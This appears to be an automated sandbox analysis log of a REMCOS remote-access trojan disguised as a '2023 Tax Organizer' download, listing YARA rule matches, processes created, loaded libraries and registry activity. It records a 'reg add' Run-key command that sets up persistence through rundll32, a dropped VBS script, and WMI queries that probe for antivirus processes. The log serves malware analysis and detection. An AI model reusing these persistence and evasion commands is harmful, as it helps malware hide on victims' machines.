Source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.expl.evad.win@28/101@44/273

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1848:120:WilError_03
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-DRFJJD

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe

File created: C:\Users\user\AppData\Local\Temp\Memory.vbs

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs"

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'ekrn.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'ekrn.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'egui.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AvastUI.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AvastSvc.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AVGUI.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AVGSvc.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'avp.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'bdagent.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'ekrn.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'ekrn.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'egui.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AvastUI.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AvastSvc.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AVGUI.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AVGSvc.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'avp.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'bdagent.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'ekrn.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'egui.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AvastUI.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AvastSvc.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AVGUI.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AVGSvc.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'avp.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'bdagent.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'ekrn.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'egui.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AvastUI.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AvastSvc.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AVGUI.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'AVGSvc.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'avp.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'bdagent.exe'

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2012,i,12056640513929630974,10995804170337098686,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2012,i,12056640513929630974,10995804170337098686,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: unknown	Process created: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe"
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe"
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe"
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs"
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs"
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs"
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: g2m.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: wsock32.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: secur32.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: userenv.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: winmm.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: avicap32.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: d3d9.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: msacm32.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: netutils.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: samcli.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: logoncli.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: k7rn7l32.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: ntd3ll.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: winmm.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: netutils.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: propsys.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: edputil.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: policymanager.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: slc.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: userenv.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: sppc.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: Window Recorder

